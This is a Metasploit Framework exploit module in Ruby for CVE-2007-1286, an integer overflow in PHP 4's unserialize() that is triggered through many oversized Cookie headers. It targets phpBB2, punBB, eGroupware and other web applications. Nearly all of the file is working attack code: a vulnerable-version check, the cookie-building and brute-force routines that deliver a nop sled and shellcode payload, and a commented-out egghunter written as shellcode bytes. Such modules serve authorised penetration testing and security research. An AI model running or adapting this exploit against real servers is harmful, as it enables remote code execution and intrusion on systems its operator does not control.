## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)', 'Description' => %q{ This module exploits an integer overflow vulnerability in the unserialize() function of the PHP web server extension. This vulnerability was patched by Stefan in version 4.5.0 and applies all previous versions supporting this function. This particular module targets numerous web applications and is based on the proof of concept provided by Stefan Esser. This vulnerability requires approximately 900k of data to trigger due the multiple Cookie headers requirement. Since we are already assuming a fast network connection, we use a 2Mb block of shellcode for the brute force, allowing quick exploitation for those with fast networks. One of the neat things about this vulnerability is that on x86 systems, the EDI register points into the beginning of the hashtable string. This can be used with an egghunter to quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction is known. The EDI method is faster, but the bandwidth-intensive brute force used by this module is more reliable across a wider range of systems. }, 'Author' => [ 'hdm', # module development 'GML ', # module development and debugging 'Stefan Esser ' # discovered, patched, exploited ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ ['CVE', '2007-1286'], ['OSVDB', '32771'], ['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'], ], 'Privileged' => false, 'Payload' => { 'Space' => 1024, }, 'Targets' => [ # # 64-bit SuSE: 0x005c0000 # Backtrack 2.0: 0xb797a000 # Gentoo: 0xb6900000 # [ 'Linux x86 Generic', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop' => { 'Ret' => 0xbfff0000 }, 'Step' => 1024*1024 } } ], [ 'Linux x86 phpBB2', { 'DefaultCookie' => 'phpbb2mysql_data', 'DefaultURI' => '/phpBB2/faq.php', 'Signature' => /Powered\s+by.*phpBB/, 'Platform' => 'linux', 'Arch' => [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop' => { 'Ret' => 0xbfff0000 }, 'Step' => 1024*1024 } } ], [ 'Linux x86 punBB', { 'DefaultCookie' => 'punbb_cookie', 'DefaultURI' => '/index.php', 'Signature' => /Powered\s+by.*PunBB/, 'Platform' => 'linux', 'Arch' => [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop' => { 'Ret' => 0xbfff0000 }, 'Step' => 1024*1024 } } ], [ 'Linux x86 WWWThreads', { 'DefaultCookie' => 'forum_cookie', 'DefaultURI' => '/index.php', 'Signature' => /Powered\s+by.*WWWThreads/, 'Platform' => 'linux', 'Arch' => [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop' => { 'Ret' => 0xbfff0000 }, 'Step' => 1024*1024 } } ], [ 'Linux x86 Deadman Redirect', { 'DefaultCookie' => 'authcookie', 'DefaultURI' => '/dmr/dmr.php', 'Signature' => /document\.f\.userdata\.focus/, 'Platform' => 'linux', 'Arch' => [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop' => { 'Ret' => 0xbfff0000 }, 'Step' => 1024*1024 } } ], [ 'Linux x86 PhpWebGallery', { 'DefaultCookie' => 'pwg_remember', 'DefaultURI' => '/phpwebgallery/index.php', 'Signature' => /Powered\s+by.*phpwebgallery/msi, 'Platform' => 'linux', 'Arch' => [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop' => { 'Ret' => 0xbfff0000 }, 'Step' => 1024*1024 } } ], [ 'Linux x86 Ariadne-CMS', { 'DefaultCookie' => 'ARCookie', 'DefaultURI' => '/ariadne/loader.php/', 'Signature' => /Ariadne is free software/, 'Platform' => 'linux', 'Arch' => [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop' => { 'Ret' => 0xbfff0000 }, 'Step' => 1024*1024 } } ], [ 'Linux x86 ProMA', { 'DefaultCookie' => 'proma', 'DefaultURI' => '/proma/index.php', 'Signature' => /Change Account Information/, 'Platform' => 'linux', 'Arch' => [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop' => { 'Ret' => 0xbfff0000 }, 'Step' => 1024*1024 } } ], [ 'Linux x86 eGroupware', { 'DefaultCookie' => 'eGW_remember', 'DefaultURI' => '/egroupware/login.php', 'Signature' => /www.egroupware.org/, 'Platform' => 'linux', 'Arch' => [ ARCH_X86 ], 'Bruteforce' => { 'Start' => { 'Ret' => 0xb6000400 }, 'Stop' => { 'Ret' => 0xbfff0000 }, 'Step' => 1024*1024 } } ] ], 'DisclosureDate' => 'Mar 04 2007')) register_options( [ OptString.new('URI', [false, "The path to vulnerable PHP script"]), OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"]) ], self.class) end def check print_status("Checking for a vulnerable PHP version...") # # Pick the URI and Cookie name # cookie_name = datastore['COOKIENAME'] || target['DefaultCookie'] uri_path = datastore['URI'] || target['DefaultURI'] if(not cookie_name) raise RuntimeError, "The COOKIENAME option must be set" end if(not uri_path) raise RuntimeError, "The URI option must be set" end res = send_request_cgi({ 'uri' => uri_path, 'method' => 'GET' }, 5) php_bug = false if (not res) print_status("No response from the server") return Exploit::CheckCode::Safe end if (res.code != 200) print_status("The server returned #{res.code} #{res.message}") return Exploit::CheckCode::Safe end if ( (res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or (res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/) ) php_raw = $1 php_ver = php_raw.split('.') if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5) print_status("The server runs a vulnerable version of PHP (#{php_raw})") php_bug = true else print_status("The server runs a non-vulnerable version of PHP (#{php_raw})") return Exploit::CheckCode::Safe end end # Detect the phpBB cookie name if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /(.*)_(sid|data)=/) print_status("The server may require a cookie name of '#{$1}_data'") end if(target and target['Signature']) if (res.body and res.body.match(target['Signature'])) print_status("Detected target #{target.name}") else print_status("Did not detect target #{target.name}") end end return php_bug ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Appears end def brute_exploit(target_addrs) zvalref = encode_semis('i:0;R:2;') # # Use this if we decide to do 'jmp edi' returns vs brute force # =begin # Linux specific egg-hunter tagger = "\x90\x50\x90\x50" hunter = "\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" + "\x3c\xf2\x74\xf1\xb8" + tagger + "\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7" egghunter = "\xcc" * 39 egghunter[0, hunter.length] = hunter hashtable = "\xcc" * 39 hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes hashtable[20, 4] = [target_addrs['Ret']].pack('V') hashtable[32, 4] = [target_addrs['Ret']].pack('V') =end # # Just brute-force addresses for now # tagger = '' egghunter = rand_text_alphanumeric(39) hashtable = rand_text_alphanumeric(39) hashtable[20, 4] = [target_addrs['Ret']].pack('V') hashtable[32, 4] = [target_addrs['Ret']].pack('V') # # Pick the URI and Cookie name # cookie_name = datastore['COOKIENAME'] || target['DefaultCookie'] uri_path = datastore['URI'] || target['DefaultURI'] if(not cookie_name) raise RuntimeError, "The COOKIENAME option must be set" end if(not uri_path) raise RuntimeError, "The URI option must be set" end # Generate and reuse the original buffer to save CPU if (not @saved_cookies) # Building the malicious request print_status("Creating the request...") # Create the first cookie header to get this started cookie_fun = "Cookie: #{cookie_name}=" cookie_fun << Rex::Text.uri_encode( 'a:100000:{s:8:"' + rand_text_alphanumeric(8) + '";a:3:{s:12:"' + rand_text_alphanumeric(12) + '";a:1:{s:12:"' + rand_text_alphanumeric(12) + '";i:0;}s:12:"' + rand_text_alphanumeric(12) + '";'+ 'i:0;s:12:"' + rand_text_alphanumeric(12) + '";i:0;}' ) cookie_fun << zvalref * 500 cookie_fun << Rex::Text.uri_encode('s:2:"') cookie_fun << "\r\n" refcnt = 1000 refmax = 65535 # Keep adding cookie headers... while(refcnt < refmax) chead = 'Cookie: '; chead << encode_semis('";N;') # Stay within the 8192 byte limit 0.upto(679) do |i| break if refcnt >= refmax refcnt += 1 chead << zvalref end chead << encode_semis('s:2:"') cookie_fun << chead + "\r\n" end # The final header, including the hashtable with return address cookie_fun << "Cookie: " cookie_fun << Rex::Text.uri_encode('";N;') cookie_fun << zvalref * 500 @saved_cookies = cookie_fun end # Generate and reuse the payload to save CPU time if (not @saved_payload) @saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256) end cookie_addrs = Rex::Text.uri_encode( 's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;' ) + "\r\n" print_status("Trying address 0x%.8x..." % target_addrs['Ret']) res = send_request_cgi({ 'uri' => uri_path, 'method' => 'POST', 'raw_headers' => @saved_cookies + cookie_addrs, 'data' => @saved_payload }, 1) if res failed = false print_status("Received a response: #{res.code} #{res.message}") if (res.code != 200) print_status("The server returned a non-200 response, indicating that the exploit failed.") failed = true end if (not failed and (res.body and res.body.length > 0)) print_status("The server returned a real response, indicating that the exploit failed.") failed = true end if (failed) print_status("Please verify the URI and COOKIENAME parameters.") print_line('') print_line("*" * 40) print_line(res.body) print_line("*" * 40) print_line('') raise RuntimeError, "Exploit settings are probably wrong" end else print_status("No response from the server") end end def encode_semis(str) str.gsub(';') { |s| sprintf("%%%.2x", s[0]) } end end